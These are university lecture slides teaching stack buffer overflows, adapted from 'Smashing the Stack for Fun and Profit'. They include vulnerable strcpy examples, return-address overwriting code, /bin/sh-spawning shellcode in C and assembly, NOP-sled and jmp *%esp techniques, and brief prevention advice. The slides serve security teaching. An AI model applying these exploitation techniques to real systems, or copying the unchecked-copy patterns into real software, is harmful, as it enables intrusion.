Lecture 6: Buffer Overflow

CS 436/636/736
Spring 2015

Nitesh Saxena

*Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit)

Course Admin

• HW3 due tomorrow at 11am
  – Any questions?
• HW4 will be posted by coming Tuesday
  – Includes programming part related to Buffer Overflow
  – The conceptual part, threat modeling, due Apr 17
  – Programming part needs demo – we will do so during the exam week
    • Demo slot sign-up – next lecture
  – You are allowed to work on the programming part in teams of two each
    • Please form your own team
Course Admin

• Final Exam – **Apr 23 (Thursday)**
  – 7 to 9:30pm
  – Venue – TBA (most likely the lecture room)
• Covers everything (cumulative)
  – 35% -- pre mid-term material
  – 65% -- post mid-term material
• Again, close-book, just like the mid-term
• We will do exam review Apr 16

---

Why study buffer overflow?

• Buffer overflow vulnerabilities are the most commonly exploited- account for about half of all new security problems (CERT)

• Are relatively easy to exploit

• Many variations on stack smash- heap overflows, etc.

• We will focus upon static buffer overflow vulnerabilities
Recall the Security Life Cycle

- Threats
- Policy
- Specification
- Design
- Implementation
- Operation and Maintenance

Which stage?

How Computer Works

- There is a processor that interfaces with various devices
- Processor executes instructions
  - Add, sub, mult, jump and various functions
Where to get the instructions from

• Each process “thinks” that it has 4GB \((2^{32})\) of (virtual) memory (assuming 32-bit processor)
• Instructions are loaded into the memory
• Processor fetches and executes these instructions one by one
• How does the processor know where to return back after “jumping” and after returning from a function

Process Memory Organization

<table>
<thead>
<tr>
<th>Code</th>
<th>Data</th>
<th>Heap</th>
<th>Stack</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
<td></td>
<td>0xFFF</td>
</tr>
</tbody>
</table>

Lecture 6 - Buffer Overflow
Process Memory Organization

Lecture 6 - Buffer Overflow

Process Memory Organization

- Code
- Stack

<table>
<thead>
<tr>
<th>STACK</th>
<th>FP</th>
<th>frame pointer</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>SP</td>
<td>stack pointer</td>
</tr>
<tr>
<td>CODE</td>
<td>IP</td>
<td>instruction pointer</td>
</tr>
</tbody>
</table>
Function Calls

```c
void function (int a) {
    char buffer1[5];
}

void main () {
    function (1);
}
```
Buffer Overflow: Example

```c
void function(char *str) {
    char buffer[8];
    strcpy(buffer,str); }

void main() {
    char large_string[256];
    int i;
    for( i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string); }
```

Buffer Overflows
Buffer Overflows

```c
void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```
Lecture 6 - Buffer Overflow

Buffer Overflows

```c
void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```

 FP: 0x41 41 41 41
 SP: 0x41 41 41 41
 IP: 0x41 41 41 41

Buffer Overflows

```
void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```

Segmentation Fault
Modifying the Execution Flow

void function() {
    char buffer1[4];
    int *ret;
    ret = buffer1 + 8;
    (*ret) += 8;
}

void main() {
    int x = 0;
    function();
    x = 1;
    printf("%d\n", x);
}

Modifying the Execution Flow
Modifying the Execution Flow

```
void main() {
    int x = 0;
    function();
    x = 1;
    printf("%d\n", x);
}

void function() {
    char buffer[4];
    int *ret;
    ret = buffer + 8;
    (*ret) = 8;
}
```

12
Modifying the Execution Flow

- So, we can modify the flow of execution - what do we want to do now?

- Spawn a shell and issue commands from it

Exploiting Overflows - Smashing the Stack

- So, we can modify the flow of execution - what do we want to do now?

- Spawn a shell and issue commands from it
Lecture 6 - Buffer Overflow

Exploiting Overflows - Smashing the Stack

- Now we can modify the flow of execution - what do we want to do now?

- Spawn a shell and issue commands from it

 Exploiting Overflows - Smashing the Stack

- What if there is no code to spawn a shell in the program we are exploiting?

- Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!
Exploiting Overflows - Smashing the Stack

- What if there is no code to spawn a shell in the program we are exploiting?
- Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!

```
#include <stdio.h>
#include <stdlib.h>

void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0); }
```

Spawning a Shell

```
#include <stdio.h>
#include <stdlib.h>

void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0); }
```
void main() {__asm__("
    jmp 0x2a
    popl %esi
    movl %esi,0x8(%esi)
    movb $0x0,0x7(%esi)
    movl $0x0,0xc(%esi)
    movl $0xb,%eax

    movl %esi,%ebx
    leal 0x8(%esi),%ecx
    leal 0xc(%esi),%edx
    int $0x80
    movl $0x1, %eax
    movl $0x0, %ebx
    int $0x80
    call -0x2f

    .string "/bin/sh""); }
How to find Shellcode

1. Guess
   - time consuming
   - being wrong by 1 byte will lead to segmentation fault or invalid instruction

2. Pad shellcode with NOP’s then guess
   - we don’t need to be exactly on
   - much more efficient
Can we do better?

• If we can find the address where SP points to, we are home

Can we do better?

• Find out what shared libraries are being used by the vulnerable program
  – Use ldd command
  – This also provides the starting address where the shared libraries are stored in process’s memory
• Find out where in the shared library the instruction jmp *%esp occurs
• Add this to the starting address of the shared library
• At %esp, store the instruction jmp –constant offset
Consider the simple program

```c
int function(char * a){
    char buff[256];
    if(a==NULL) return -1;
    strcpy(buff, a); return 1;
}
int main(int argc, char** argv){
    func(argv[1]);
    return(0);
}
```

Stack Contents – Normal Execution
How to prevent buffer overflows

• Programmer level:
  – Check the length of the input
    • Use functions strncpy (instead of strcpy)
• OS level:
  – Techniques such as address space layout randomization
References

• Smashing the Stack for Fun and Profit:
  http://doc.bughunter.net/buffer-overflow/smash-stack.html

• Smashing the Modern Stack for Fun and Profit:
  http://netsec.cs.northwestern.edu/media/readings/modern_stack_smashing.pdf